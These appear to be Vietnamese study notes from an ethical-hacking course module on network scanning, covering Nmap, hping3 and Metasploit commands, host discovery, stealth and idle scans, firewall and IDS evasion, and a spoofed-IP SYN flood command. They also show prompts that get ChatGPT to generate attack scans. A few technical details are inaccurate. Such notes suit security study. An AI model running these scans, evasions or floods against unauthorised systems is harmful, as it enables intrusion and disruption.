- **Lưu ý:** Quá trình quét SYN chủ yếu giải quyết ba cờ: SYN, ACK và RST. Bạn có thể sử dụng ba cờ này để thu thập thông tin bất hợp pháp từ các máy chủ trong quá trình liệt kê (enumeration).

Cơ chế Thiết lập và Chấm dứt phiên TCP (TCP Session Establishment & Termination) (Trang 288-289)

- **Cơ chế bắt tay 3 bước (Three-way handshake):**
  - Để khởi tạo kết nối, máy nguồn gửi một gói `SYN` tới máy đích.
  - Khi nhận được gói `SYN`, máy đích phản hồi bằng cách gửi lại một gói `SYN/ACK`.
  - Máy nguồn gửi một gói `ACK` để xác nhận đã nhận được gói `SYN/ACK`. Kết nối lúc này chuyển sang trạng thái "OPEN".
- **Chấm dứt phiên (Session termination):**
  - Sau khi truyền xong dữ liệu, người gửi gửi yêu cầu chấm dứt kết nối tới người nhận thông qua gói `FIN` (hoặc `RST`).
  - Người nhận xác nhận yêu cầu bằng cách gửi một gói `ACK` cho người gửi, sau đó tự gửi đi một gói `FIN` của chính nó để kết thúc hoàn toàn kết nối.
  - **Giao thức TCP duy trì các kết nối stateful cho tất cả các giao thức hướng kết nối (connection-oriented) trên Internet và hoạt động tương tự như giao tiếp điện thoại thông thường:** nhấc ống nghe, nghe thấy âm báo quay số, bấm số và chuông sẽ reo ở đầu bên kia cho đến khi có người nhấc máy và nói "Xin chào".
  - *(Chi tiết chấm dứt phiên):* Khi nhận được yêu cầu chấm dứt kết nối (FIN hoặc RST), người nhận xác nhận yêu cầu bằng cách gửi lại gói ACK cho người gửi, và cuối cùng tự gửi đi gói FIN của chính nó. Sau đó, hệ thống sẽ chấm dứt hoàn toàn kết nối đã thiết lập.

2. Công cụ quét và tạo gói

- **Nmap (Trang 290):** Là công cụ quét mạng và bảo mật ("Network Mapper") dùng để khám phá mạng và hacking. Nó gửi các gói tin đặc biệt để khám phá host, cổng, dịch vụ, hệ điều hành (OS), và thực hiện ping sweeps.

  - Nmap hỗ trợ nhiều chế độ quét như SYN scan, ACK scan, UDP scan, SCTP scan, IP protocol scan và IPv6 scan. Nó cũng cung cấp khả năng fingerprint OS, phát hiện dịch vụ, hỗ trợ `NSE` để viết script tự động hóa và thực hiện quét ẩn danh thông qua decoy, fragmentation, spoofing.

- **Metasploit (Trang 298):** Dự án mã nguồn mở dùng để kiểm thử xâm nhập. Tự động hóa quá trình khám phá và khai thác, thu thập bằng chứng và quét cổng mở.
  - Metasploit có các module auxiliary scanning để quét host, quét cổng và kiểm tra lỗ hổng. Nó dễ dàng tích hợp với Nmap bằng cách nhập kết quả quét (`db_import`) để lập kế hoạch khai thác tiếp theo.
- **NetScanTools Pro (Trang 299):** Công cụ điều tra dùng để khắc phục sự cố, giám sát và phát hiện thiết bị trên mạng (địa chỉ IPv4/IPv6, hostnames, tên miền, email).
  - Nó bao gồm nhiều tiện ích mạng như Ping, Traceroute, DNS lookup, NetBIOS query, SNMP walk và port scan. Những tính năng này giúp phân tích mạng chi tiết hơn so với các lệnh quét đơn thuần.
- **Colasoft Packet Builder (Trang 393-394):** Công cụ tạo gói tin (Packet Crafting Tool) cho phép kẻ tấn công tạo các gói TCP tùy chỉnh để quét mục tiêu nằm sau tường lửa.
  - Công cụ này giúp thay đổi các trường header ở mức byte, thêm checksum sai, phân mảnh gói và tạo các gói malformed để thử nghiệm khả năng xử lý của IDS/Firewall.
- **Nmap:** Quản trị viên mạng có thể sử dụng Nmap để kiểm kê mạng, quản lý lịch nâng cấp dịch vụ và theo dõi thời gian hoạt động. Kẻ tấn công sử dụng Nmap để trích xuất thông tin như host đang hoạt động, cổng mở, dịch vụ (tên và phiên bản ứng dụng), loại bộ lọc gói/tường lửa, chi tiết MAC và Hệ điều hành. Cú pháp: `# nmap <options> <Target IP address>`
- **Metasploit:** Cung cấp thông tin về các lỗ hổng bảo mật và hỗ trợ kiểm thử xâm nhập cũng như phát triển chữ ký IDS. Ưu điểm lớn nhất của framework này là cách tiếp cận mô-đun (modular approach), cho phép kết hợp bất kỳ mã khai thác (exploit) nào với bất kỳ payload nào.
- **NetScanTools Pro:** Giúp kẻ tấn công tự động hoặc thủ công liệt kê các địa chỉ IPv4/IPv6, hostnames, tên miền, địa chỉ email và URL. Công cụ này kết hợp nhiều tiện ích mạng được phân loại theo chức năng: active, passive, DNS, và local computer.

Công cụ Hping3 (Trang 292-297): Hping3 là công cụ quét mạng và tạo gói tin qua dòng lệnh, hỗ trợ TCP, UDP, ICMP và raw-IP. Các lệnh phổ biến:

- `hping3 -1 10.0.0.25`: Thực hiện ICMP ping sweep (Trang 294).
- `hping3 -A 10.0.0.25 -p 80`: Thực hiện ACK scan trên port 80 để dò tìm tường lửa (Trang 294).
- `hping3 -2 10.0.0.25 -p 80`: Thực hiện UDP scan trên port 80 (Trang 294).
- `hping3 192.168.1.103 -Q -p 139`: Thu thập Initial Sequence Number (số thứ tự ban đầu) (Trang 294).
- `hping3 -S 72.14.207.99 -p 80 --tcp-timestamp`: Bật tùy chọn tcp-timestamp để đoán thời gian cập nhật và thời gian hoạt động của máy chủ (Trang 295).
- `hping3 -8 50-60 -S 10.0.0.25 -V`: Thực hiện SYN scan trên dải port từ 50-60 (Trang 295).
- `hping3 -F -P -U 10.0.0.25 -p 80`: Thực hiện scan với các cờ FIN, PSH và URG trên port 80 (Trang 295).
- `hping3 -1 10.0.1.x --rand-dest -I eth0`: Quét toàn subnet để tìm host sống bằng cách gửi ICMP request ngẫu nhiên (Trang 295).
- `hping3 -9 HTTP -I eth0`: Chế độ lắng nghe (listen mode), chặn mọi lưu lượng có chứa chữ ký HTTP (Trang 295).
- `hping3 -S 192.168.1.1 -a 192.168.1.254 -p 22 --flood`: Thực hiện TCP SYN flood tới nạn nhân bằng IP giả mạo (Trang 296).

- **Tích hợp AI vào Hping3 (Hping Scan with AI):** Kẻ tấn công có thể sử dụng các công cụ AI (như ChatGPT) để tự động hóa việc tạo lệnh Hping3. Ví dụ các prompt (Trang 296-299):
  - `"Use Hping3 to perform ICMP scanning on the target IP address 10.10.1.11 and stop after 10 iterations"` -> AI sẽ tạo ra lệnh `hping3 --icmp --count 10 10.10.1.11`.
  - `"Run an hping3 ACK scan on port 80 of target IP 10.10.1.11"` -> AI sẽ tạo ra lệnh `sudo hping3 --ack -p 80 10.10.1.11`.

(Bổ sung thêm một số công cụ quét khác theo giáo trình): `sx` (mã nguồn mở trên GitHub), `RustScan` (quét cực nhanh), `MegaPing`, `PRTG Network Monitor`.

3. Kỹ thuật quét để phát hiện host (Host Discovery Techniques) - Trang 301-311

Việc quét host là bước đầu tiên trong quá trình quét mạng (Network Scanning), được coi là nhiệm vụ chính yếu để tránh lãng phí thời gian quét mọi cổng trên mọi hệ thống không phản hồi. Nó cung cấp trạng thái chính xác của các hệ thống "còn sống" trong mạng.

- **Vô hiệu hóa quét cổng:** Dùng lệnh `nmap -sn` để chỉ phát hiện host (host discovery only) mà không quét cổng (Trang 302).
- **Quét ARP (ARP ping scan):** Chỉ dùng trong mạng nội bộ (local only) IPv4. Nó gửi yêu cầu ARP để ánh xạ IP tới địa chỉ MAC trong mạng, cực kì hiệu quả và vượt qua được các tường lửa nghiêm ngặt. Lệnh: `nmap -sn -PR 192.168.1.69` (Trang 301-302).
  - **Ưu điểm của quét ARP (ARP Ping Scan):**
    - Được coi là hiệu quả và chính xác hơn các kỹ thuật khám phá host khác.
    - Tự động xử lý các yêu cầu ARP, truyền lại và hết hạn (timeout) theo quyết định riêng.
    - Hữu ích cho việc khám phá hệ thống khi cần quét các không gian địa chỉ lớn.
    - Có thể hiển thị thời gian phản hồi hoặc độ trễ của một thiết bị đối với gói tin ARP.
  - *(Chi tiết về cơ chế ARP Ping Scan)*: Trong hầu hết các mạng, có rất nhiều địa chỉ IP không được sử dụng tại một thời điểm nhất định (đặc biệt ở dải IP private). Khi kẻ tấn công cố gắng gửi các gói IP (như ICMP echo) đến mục tiêu, Hệ điều hành phải xác định địa chỉ đích phần cứng (MAC/ARP) tương ứng. Nếu đích không phản hồi ARP, OS gốc sẽ từ bỏ việc gửi ping. Bằng cách dùng trực tiếp ARP request probes, nếu nhận được bất kỳ phản hồi ARP nào, kẻ tấn công biết chắc chắn host đó đang "sống". Lưu ý: Lệnh `-sn` sẽ vô hiệu hóa quét cổng, nhưng vì Nmap dùng ARP ping scan làm mặc định trong mạng LAN, muốn tắt ARP scan để ép dùng loại ping khác, ta phải dùng cờ `--disable-arp-ping`.
- **UDP ping scan:** Gửi định dạng gói UDP để vượt qua các tường lửa chỉ lọc TCP. Lệnh: `nmap -sn -PU` (Trang 303-304).
  - *(Chi tiết UDP Ping Scan)*: Cổng mặc định mà Nmap sử dụng cho quét UDP ping là **40,125**. Cổng rất không phổ biến này được dùng làm mặc định để gửi các gói UDP tới đích, và có thể thay đổi bằng cấu hình `DEFAULT_UDP_PROBE_PORT_SPEC` khi biên dịch Nmap. Nếu mục tiêu ngoại tuyến, các thông báo lỗi như host/network unreachable hoặc TTL exceeded sẽ được trả về.
  - *Ưu điểm:* UDP ping có khả năng phát hiện các hệ thống nằm sau tường lửa cấu hình lọc TCP nghiêm ngặt (bỏ quên lưu lượng UDP).
- **ICMP Echo ping scan:** Gửi các yêu cầu ICMP ECHO. Nmap sử dụng tùy chọn `-PE` (hoặc `-P`). Bạn có thể tăng số lượng ping song song với cơ chế `-L` và điều chỉnh khoảng thời gian timeout với `-T` (Trang 304-306).
  - *(Chi tiết ICMP ECHO Ping Scan)*: Do ICMP không có khái niệm trừu tượng về cổng (port abstraction), quét ICMP khác với quét cổng. Lệnh này hoạt động hiệu quả trên máy UNIX/Linux và BSD vì ngăn

xếp TCP/IP của chúng phản hồi các yêu cầu ICMP echo gửi đến địa chỉ broadcast. Tuy nhiên, kỹ thuật này không hoạt động trên mạng dựa trên Windows vì ngăn xếp TCP/IP của Windows không trả lời các probe ICMP hướng đến địa chỉ broadcast.

- **ICMP Timestamp ping:** Lấy thông tin thời gian hiện tại từ máy mục tiêu, hữu ích khi quản trị viên chặn các gói ICMP Echo truyền thống. Lệnh: `nmap -sn -PP` (Trang 307).
- **ICMP Address mask ping:** Gửi truy vấn mask để lấy giá trị subnet mask từ đích. Lệnh: `nmap -sn -PM` (Trang 308).
  - *(Chi tiết Ping Sweep)*: Khi một hệ thống ping, nó gửi một gói đơn duy nhất. Gói này chứa **64 byte** (56 byte dữ liệu và 8 byte thông tin protocol header). Kẻ tấn công sử dụng các công cụ tính subnet mask để xác định số lượng host có trong mạng con, sau đó dùng ping sweep để tạo bảng kiểm kê (inventory) các hệ thống đang sống.
  - *(Chi tiết ICMP Timestamp ping)*: Việc phản hồi từ máy đích là có điều kiện, nó có thể phản hồi hoặc không phụ thuộc vào cấu hình của quản trị viên ở đầu máy đích. Thường được sử dụng để đồng bộ hóa thời gian.
  - *(Chi tiết ICMP Address mask ping)*: Tương tự như timestamp ping, phản hồi mask từ đích là có điều kiện. Phương pháp này rất hiệu quả khi quản trị viên đã chặn các gói ICMP Echo truyền thống.
- **TCP SYN ping:** Khởi tạo bắt tay 3 bước bằng gói `SYN` trống. Cực kỳ stealthy (ẩn danh) vì nó phát hiện máy ONLINE mà không tạo kết nối TCP đầy đủ (không bị ghi log lại). Lệnh: `nmap -sn -PS` (Trang 309).
- **TCP ACK ping:** Gửi thẳng một gói TCP `ACK` trống (mặc định dùng port 80). Tối đa hóa khả năng vượt tường lửa stateful vì phần lớn tường lửa chỉ tập trung chặn các gói `SYN` mở kết nối. Lệnh: `nmap -sn -PA` (Trang 309-310).
- **IP protocol ping:** Gửi nhiều loại probe với các giao thức IP khác nhau (mặc định: ICMP, IGMP, IP-in-IP). Bất kỳ phản hồi nào cũng cho biết host trực tuyến. Lệnh: `nmap -sn -PO` (Trang 310-311).
  - *(Chi tiết TCP SYN/ACK ping)*: Trong TCP SYN Ping, cổng 80 được sử dụng làm cổng đích mặc định. Kẻ tấn công có thể chỉ định một dải các cổng mà không cần khoảng trắng giữa -PS và số cổng (ví dụ: `nmap -sn -PS22-25,80,113,1050,35000`). Ưu điểm là có thể quét song song nhiều máy mà không bị lỗi time-out. Đối với TCP ACK Ping, cả gói SYN và ACK đều có thể tối đa hóa cơ hội vượt tường lửa, tuy nhiên do firewalls thường được cấu hình để chặn các gói SYN ping (vì quá phổ biến), nên probe bằng ACK sẽ vượt qua các rule set của firewall dễ dàng hơn.
  - *(Chi tiết IP protocol ping)*: Nmap gửi các gói IP với header của bất kỳ số giao thức nào được chỉ định. Nếu không chỉ định, nhiều gói IP cho ICMP (giao thức 1), IGMP (giao thức 2) và IP-in-IP (giao thức 4) sẽ được gửi theo mặc định. Có thể cấu hình các giao thức mặc định này bằng cách thay đổi `DEFAULT_PROTO_PROBE_PORT_SPEC` trong file `nmap.h` lúc biên dịch.
- **Phát hiện Host bằng AI (Host Discovery with AI) (Trang 312-314):** Kẻ tấn công sử dụng ChatGPT để viết script hoặc tạo chuỗi lệnh quét thông minh.
  - *Ví dụ Prompt 1:* `"Scan the target network 10.10.1.0/24 for active hosts and place only the IP addresses into a file scan1.txt"` -> AI sinh ra chuỗi lệnh pipeline: `nmap -sn 10.10.1.0/24 -oG - | awk '/Up$/{print $2}' > scan1.txt`.
  - *Ví dụ Prompt 2:* `"Run a fast but comprehensive Nmap scan against scan1.txt with low verbosity and write the results to scan2.txt"` -> AI sinh ra lệnh: `nmap -T4 -iL scan1.txt -oN scan2.txt -v0`.

4. Công cụ ping sweep và Kỹ năng mở rộng (Trang 316-317)

Các công cụ ping sweep gửi đồng loạt nhiều ICMP ECHO đến một dải IP để tìm host đang hoạt động. Các công cụ đề cập trong tài liệu gốc:

- **Angry IP Scanner:** Là công cụ quét cổng và địa chỉ IP sử dụng phương pháp đa luồng (multithreaded) để tăng tốc độ. Nó ping từng IP, tùy chọn phân giải hostname, xác định MAC và quét cổng. Thông qua các plugin, công cụ này thu thập thêm thông tin NetBIOS (tên máy tính, tên workgroup, người dùng Windows đang đăng nhập), nhận diện web server và hỗ trợ lưu kết quả dưới các định dạng CSV, TXT, XML hoặc danh sách IP-Port.
- **SolarWinds Engineer's Toolset**
- **NetScanTools Pro**
- **Colasoft Ping Tool**
- **Advanced IP Scanner**
- **OpUtils**

(Bổ sung thông tin ngoài nguồn - Extra tools & knowledge):

- **Superscan:** Một bộ quét và xử lý cổng TCP mạnh mẽ của Foundstone (McAfee) thường chạy trên hệ điều hành Windows.
- **Pinkie:** Bộ xử lý sự cố tổng hợp cho Windows bao gồm Ping quét, rà quét mạng và kiểm tra host.
- **Quét Nmap qua TOR:** Sử dụng Nmap qua proxychains để che giấu danh tính và IP quét. Khi quét qua TOR/Proxychains, bạn không thể sử dụng scan ẩn danh (SYN scan) kiểu gửi gói rời rạc mà mặc định phải ép kết nối bằng gói tin đầy đủ `-sT` (Ví dụ: `proxychains nmap -sT -PN -p 80 <target>`).

1. Port và phát hiện dịch vụ (Ports and Services)

(Lưu ý: Bảng dưới đây cung cấp thông tin các port quan trọng được trích xuất từ tài liệu "Reserved ports table" và các ví dụ quét thực tế).

Các port quan trọng (Trang 319 - 321):

- **20/21 (TCP)**: FTP data transfer / FTP command
- **22 (TCP)**: SSH (Secure Shell)
- **23 (TCP)**: Telnet
- **25 (TCP)**: SMTP (Email server)
- **53 (TCP/UDP)**: DNS (Domain name server)
- **67/68 (UDP)**: DHCP (bootps server / bootpc client)
- **69 (UDP)**: TFTP (Trivial File Transfer Protocol)
- **80 (TCP/UDP)**: HTTP (WWW)
- **110 (TCP)**: POP3 (PostOffice V.3)
- **123 (UDP)**: NTP (Network Time Protocol)
- **135 (TCP)**: MS RPC (Microsoft Windows RPC - dựa trên kết quả quét)
- **137–139 (TCP/UDP)**: NetBIOS (Name Service, Datagram Service, Session Service)

- **143 (TCP/UDP)**: IMAP (Internet Message Access Protocol)
- **161/162 (UDP)**: SNMP / SNMP-trap
- **389 (TCP/UDP)**: LDAP (dựa trên kết quả quét)
- **443 (TCP)**: HTTPS (dựa trên kết quả quét)
- **445 (TCP)**: SMB (Microsoft DS / kerberos-ds)
- **500 (UDP)**: ISAKMP/IKE (Internet Security Association and Key Management Protocol)
- **514 (UDP/TCP)**: Syslog / shell
- **1433 (TCP/UDP)**: MSSQL (Microsoft SQL Server)
- **3389 (TCP)**: RDP (ms-wbt-server - dựa trên kết quả quét)
- **5060 (TCP/UDP)**: SIP (Session Initiation Protocol)

(Thông tin ngoài nguồn: Port 3306 TCP (MySQL) phổ biến trong thực tế mạng nhưng không xuất hiện trong bảng mã cổng của tài liệu Module 03 này; Dịch vụ định nghĩa cổng thường tuân theo chuẩn IANA: Well-known 0-1023, Registered 1024-49151, Dynamic 49152-65535).

---

2. Các kiểu quét cổng (Port Scan Types)

Tài liệu phân loại các kỹ thuật quét cổng dựa trên cách thao tác với các cờ TCP và giao thức:

- **TCP Connect / Full open scan (Trang 323 - 325):** Là phương pháp quét đáng tin cậy, gọi hàm hệ thống `connect()` để hoàn tất quá trình bắt tay 3 bước (three-way handshake). Nếu cổng mở, quá trình bắt tay thành công và gửi gói `ACK`, sau đó đóng lại bằng `RST`. Rất dễ bị phát hiện và bị ghi log. Lệnh Nmap: `nmap -sT` (Thêm `-v` để tăng mức độ chi tiết).
- **Stealth / Half-open (SYN) scan (Trang 325 - 326):** Chỉ gửi gói `SYN`. Nếu cổng mở, mục tiêu phản hồi `SYN/ACK`, kẻ tấn công lập tức gửi `RST` để ngắt kết nối trước khi hoàn tất handshake. Giúp ẩn danh, vượt qua quy tắc tường lửa và cơ chế ghi log. Lệnh Nmap: `nmap -sS`.
  - *(Chi tiết TCP Connect/Full Open Scan)*: Nếu hệ thống dùng hàm gọi `connect()` một cách tuyến tính cho từng cổng thì sẽ tốn rất nhiều thời gian nếu kết nối chậm. Kẻ tấn công có thể tăng tốc quét bằng cách dùng nhiều socket song song. Tính năng non-blocking I/O cho phép kẻ tấn công đặt thời gian chờ (time-out) ngắn và theo dõi tất cả các socket cùng lúc. Nhược điểm: Quét dễ bị phát hiện, dễ bị lọc và hệ thống đích sẽ ghi log kết nối. Không yêu cầu đặc quyền superuser.
  - *(Chi tiết Stealth/Half-open Scan)*: Phương pháp này cũng triển khai cơ chế bắt tay 3 bước, nhưng ở giai đoạn cuối, nó kiểm tra các gói tin xâm nhập giao diện và lập tức ngắt kết nối trước khi kích hoạt quy trình khởi tạo mới của cổng đích. Nhược điểm: Cần đặc quyền root (superuser access) để tạo các gói tin SYN thô (raw packets).
- **Inverse TCP flag scan (Trang 327):** Gửi các gói TCP với cờ được thiết lập không chuẩn (hoặc không có cờ) để né IDS. Nếu cổng mở, sẽ không có phản hồi; nếu đóng, trả về `RST/ACK`. Nhược điểm: Hoạt động dựa trên chuẩn BSD, không hiệu quả trên Windows (Windows bỏ qua chuẩn này nên tất cả các cổng đều sẽ hiển thị mở).
  - **Xmas scan (Trang 328 - 329):** Bật đồng thời các cờ `FIN`, `URG`, `PSH`. Lệnh: `nmap -sX`. *(Tương tự, `-sF` là FIN scan, `-sN` là NULL scan không bật cờ nào).*
  - **TCP Maimon scan (Trang 330):** Gửi gói với cờ `FIN` và `ACK`. Nếu cổng đóng, trả về `RST`; nếu cổng mở trên hệ thống chuẩn BSD, gói tin sẽ bị loại bỏ (không có phản hồi). Lệnh: `nmap -sM`.

    * *(Chi tiết Inverse TCP Flag Scan)*: Ưu điểm là tránh được nhiều loại IDS và hệ thống ghi log, cực kỳ ẩn danh. Nhược điểm là yêu cầu truy cập raw socket (cần quyền superuser) và chủ yếu chỉ hiệu quả với các hệ thống sử dụng ngăn xếp TCP/IP có nguồn gốc từ chuẩn BSD (không hiệu quả với máy chủ Microsoft Windows).
    * *(Chi tiết Xmas Scan)*: Khi bật tất cả các cờ, một số hệ thống sẽ bị treo; do đó, các cờ thường được cấu hình theo mẫu vô nghĩa là URG-PSH-FIN. Phương pháp "Transmitting Packets": Bạn có thể khởi tạo tất cả các cờ khi truyền gói tin. Nếu hệ thống đích chấp nhận gói tin mà không gửi phản hồi, nghĩa là cổng đang mở.

- **ACK flag probe scan (Trang 331 - 333):** Gửi gói `ACK` và kiểm tra thông tin header trả về (TTL hoặc trường Window) của gói `RST` để ước lượng trạng thái cổng (mở/đóng). Kỹ thuật này cũng dùng để kiểm tra hệ thống lọc của firewall (stateful firewall). Lệnh Nmap: `nmap -sA` hoặc `nmap -sW`.
  - **TTL-Based ACK Flag Probe scanning:** Gửi hàng ngàn gói ACK tới các cổng TCP khác nhau. Nếu giá trị TTL của gói RST trả về nhỏ hơn giá trị ranh giới là 64, thì cổng đó đang **mở**.
  - **Window-Based ACK Flag Probe scanning:** Phân tích trường window của gói RST trả về. Nếu giá trị cửa sổ (window value) khác không (non-zero), thì cổng đó đang **mở**.
  - **Kiểm tra hệ thống lọc (Checking the Filtering Systems):** Gửi gói ACK với số sequence ngẫu nhiên. Nếu **không có phản hồi**, cổng đó đã bị lọc (có stateful firewall chặn lại). Nếu nhận được phản hồi **RST**, cổng đó không bị lọc (không có firewall).
    * *Ưu điểm:* Loại quét này có thể né tránh IDS trong hầu hết các trường hợp.
    * *Nhược điểm:* Cực kỳ chậm và chỉ có thể khai thác các hệ điều hành cũ có ngăn xếp TCP/IP bắt nguồn từ chuẩn BSD mang lỗ hổng.
- **IDLE / IPID Header scan (Trang 334 - 336):** Quét hoàn toàn ẩn danh bằng cách gửi địa chỉ nguồn giả (spoofed IP). Kẻ tấn công dùng một máy trạm rảnh rỗi (zombie) làm trung gian và dựa vào sự gia tăng của số định danh IP (IPID) trên máy zombie để suy ra trạng thái cổng của mục tiêu. Lệnh Nmap: `nmap -sI <Zombie IP> <Target IP>`.
  - **Quy trình thực hiện IDLE Scan (3 bước):**
    1. **Bước 1:** Gửi gói SYN+ACK tới máy Zombie để thăm dò số IPID hiện tại của nó (Ví dụ: IPID = X). Máy Zombie sẽ phản hồi bằng gói RST chứa IPID.
    2. **Bước 2:** Gửi gói SYN tới cổng của mục tiêu nhưng giả mạo địa chỉ IP nguồn là của máy Zombie.
       * *Nếu cổng mục tiêu MỞ:* Mục tiêu gửi gói SYN+ACK cho Zombie. Do Zombie không khởi tạo kết nối này, nó sẽ phản hồi bằng một gói RST, làm số IPID của nó tăng thêm 1 (thành X + 1).
       * *Nếu cổng mục tiêu ĐÓNG:* Mục tiêu phản hồi gói RST cho Zombie. Zombie sẽ bỏ qua gói RST này và vẫn nằm im, số IPID không thay đổi.
    3. **Bước 3:** Kẻ tấn công gửi lại một gói SYN+ACK khác cho Zombie để thăm dò lại IPID. Nếu IPID tăng 2 bước (X + 2), cổng mục tiêu đang MỞ. Nếu IPID chỉ tăng 1 bước (X + 1), cổng mục tiêu ĐÓNG.
- **UDP scan (Trang 337 - 338):** Không có bắt tay 3 bước, chỉ gửi datagram tới cổng UDP. Nếu không có phản hồi, cổng có thể mở hoặc bị lọc. Nếu nhận được lỗi ICMP port unreachable (Type 3), cổng đó đóng. Rất chậm do cơ chế giới hạn tỷ lệ phản hồi lỗi ICMP của mục tiêu. Lệnh Nmap: `nmap -sU`.
- **SSDP / UPnP scan (Trang 343):** SSDP điều khiển giao tiếp cho tính năng Universal Plug and Play (UPnP). Kẻ tấn công sử dụng công cụ khám phá UPnP SSDP M-SEARCH để quét và phát hiện các lỗ hổng UPnP, từ đó tung đòn tấn công tràn bộ đệm hoặc DoS.

- **UDP RECVFROM() và WRITE() Scanning (Trang 339):** Trên Linux, người dùng không có quyền root (non-root) có thể sử dụng kỹ thuật này. Các công cụ như Netcat thực hiện hàm `recvfrom()` trên các socket UDP không chặn; nếu nhận được lỗi `EAGAIN` hoặc `ECONNREFUSED` thì có thể suy ra trạng thái cổng.
  - *(Chi tiết UDP RECVFROM() và WRITE() Scanning)*: Trên Linux, hàm gọi `write()` vào một cổng đóng thường sẽ thất bại. Các máy quét (như Netcat hoặc pscan.c) thực hiện `recvfrom()` trên socket UDP non-blocking và thường nhận lại mã lỗi `EAGAIN (Try Again, errno 13)` nếu không có lỗi ICMP, hoặc nhận `ECONNREFUSED (Connection refused, errno 111)` nếu cổng đóng. Người dùng có quyền root cũng có thể dùng cờ `-l` (lamer UDP scan) để ép thực thi tiến trình này.
  - *Ưu/Nhược điểm của UDP Scan:* Ưu điểm là ít rườm rà hơn so với TCP vì không phải chịu chi phí của quá trình bắt tay (handshake). Hơn nữa, vì hệ điều hành dựa trên Microsoft không thường triển khai giới hạn tốc độ ICMP, máy quét này hoạt động cực kỳ hiệu quả trên các thiết bị Windows. Nhược điểm là nó chỉ cung cấp trạng thái cổng; muốn biết phiên bản ứng dụng thì phải dùng thêm `-sV` hoặc `-O`. Quét UDP cũng đòi hỏi quyền truy cập đặc quyền (privileged access).
- **SCTP INIT Scan (Trang 339 - 340):** Giao thức SCTP hoạt động tương tự TCP/UDP (dùng cho VoIP, SS7). INIT scan tương đương với TCP SYN scan. Kẻ tấn công gửi đoạn (chunk) INIT; nếu cổng mở, nó trả về INIT+ACK; nếu cổng đóng, nó trả về ABORT. Lệnh Nmap: `nmap -sY`.
  - *Ưu điểm:* INIT scan có thể phân biệt rõ ràng giữa các cổng ở trạng thái open (mở), closed (đóng) và filtered (bị lọc).
- **SCTP COOKIE ECHO Scan (Trang 341 - 342):** Kẻ tấn công gửi trực tiếp gói COOKIE ECHO. Nếu cổng mở, nó sẽ âm thầm hủy (drop) gói và không phản hồi. Nếu cổng đóng, nó trả về ABORT. Kỹ thuật này giúp vượt qua các tường lửa non-stateful. Lệnh Nmap: `nmap -sZ`.
  - *Ưu điểm:* Quét cổng không dễ bị phát hiện (conspicuous) như quét INIT.
  - *Nhược điểm:* Không thể phân biệt rõ ràng giữa các cổng đang mở và bị lọc, nó hiển thị đầu ra là open|filtered trong cả hai trường hợp.
- **List Scan (Trang 343 - 344):** Chỉ liệt kê danh sách IP/Names và thực hiện phân giải DNS ngược (reverse DNS resolution) mà không hề gửi bất kỳ gói ping nào tới host mục tiêu. Lệnh Nmap: `nmap -sL`.
  - *Ưu điểm:* Có thể thực hiện kiểm tra tính hợp lệ (sanity check) tốt. Phát hiện các địa chỉ IP bị định nghĩa sai trong dòng lệnh hoặc tệp tùy chọn, qua đó sửa chữa các lỗi để chạy các quá trình quét mục tiêu đang hoạt động một cách chính xác.
- **IPv6 Scan (Trang 344 - 345):** Mạng IPv6 có không gian địa chỉ khổng lồ (128 bits) nên quét quét truyền thống bất khả thi. Nmap hỗ trợ quét các mục tiêu IPv6 xác định bằng lệnh: `nmap -6 <target>`.
  - Quét mạng IPv6 khó khăn và phức tạp hơn so với IPv4 do không gian địa chỉ lớn (2^64 địa chỉ trong một subnet). Nếu kẻ tấn công thỏa hiệp được một host trong subnet, chúng có thể thăm dò địa chỉ multicast cục bộ "all hosts" nếu các host có số thứ tự tuần tự hoặc sử dụng một lược đồ chung.
  - *(Chi tiết IPv6 Scan)*: Nếu kẻ tấn công có thể thỏa hiệp được một host trong mạng con IPv6, họ có thể thăm dò địa chỉ multicast cục bộ (link local multicast address) "all hosts" nếu số hiệu host được đánh theo tuần tự hoặc dùng một lược đồ tiêu chuẩn nào đó. Việc quét IPV6 gặp khó do nhiều công cụ quét mạng vẫn chưa hỗ trợ tính năng ping sweeps trên mạng IPv6.
- **Quét cổng bằng AI (Port Scanning with AI) (Trang 346 - 351):** Kẻ tấn công dùng ChatGPT để tự động hóa quét cổng trên Nmap và Metasploit.
  - *Ví dụ Prompt Nmap:* `"Use Nmap to scan for open ports and services against a list of IP addresses in scan1.txt and copy only the port, service and version information... to a new file called scan3.txt"` -> AI xuất lệnh kết hợp `awk`/`grep` phức tạp.

- *Ví dụ Prompt Metasploit:* `"Use Metasploit to discover open ports on the IP address 10.10.1.22"` -> AI xuất chuỗi cấu hình: `msfconsole -q -x "use auxiliary/scanner/portscan/tcp; set RHOSTS 10.10.1.22; run; exit"`.

---

3. Ví dụ Nâng cao (Trang 381)

Trong tài liệu, kỹ thuật kết hợp dưới đây được ứng dụng ở phần Packet Fragmentation (Phân mảnh gói tin) để vượt qua IDS/Firewall:

Lệnh: `nmap -sS -T4 -A -f -v 10.10.1.11`

- **`-sS`**: Quét tàng hình (Stealth SYN scan).
- **`-T4`**: Tùy chọn Timing (Tăng tốc độ quét lên mức 4).
- **`-A`**: Tùy chọn quét toàn diện (bao gồm OS fingerprinting / phát hiện hệ điều hành, version detection, traceroute và Nmap scripts).
- **`-f`**: Phân mảnh gói tin IP (Fragment packets) thành các gói nhỏ hơn (mỗi gói thường 8 bytes IP headers), khiến các bộ lọc gói và IDS gặp khó khăn trong việc bắt giữ và phân tích dấu hiệu nhận dạng.
- **`-v`**: Tăng mức độ hiển thị thông báo tiến trình (verbose).

=> *Cú pháp này phân mảnh các gói SYN scan trong khi vẫn thực hiện dò tìm OS và dịch vụ, giúp tránh các cảnh báo dương tính giả hoặc né các luật lọc gói cơ bản của tường lửa.*

1. Phản hồi quét (Scan Responses)

Dựa vào cách các cổng phản hồi lại các gói tin thăm dò, Nmap xác định trạng thái của cổng. Dưới đây là chi tiết phản hồi theo tài liệu:

Loại quét (Flag)	Cổng Mở (Open)	Cổng Đóng (Closed)	Bị lọc (Filtered / Firewall)	Không bị lọc (Unfiltered)	Tham chiếu
-sT (TCP Connect)	SYN/ACK (sau đó ACK rồi RST)	RST	Không phản hồi / ICMP unreachable		
-sS (Stealth/SYN)	SYN/ACK (sau đó gửi RST)	RST	Không phản hồi / ICMP unreachable		
-sA (ACK Probe)	Trả về RST (Xem TTL hoặc Window size > 0)	Trả về RST (Window size = 0)	Không phản hồi / ICMP unreachable	Trả về RST	
-sI (IDLE scan)	IPID của Zombie tăng 2 bước (+2)	IPID của Zombie tăng 1 bước (+1)	Trạng thái IPID thay đổi không rõ ràng		
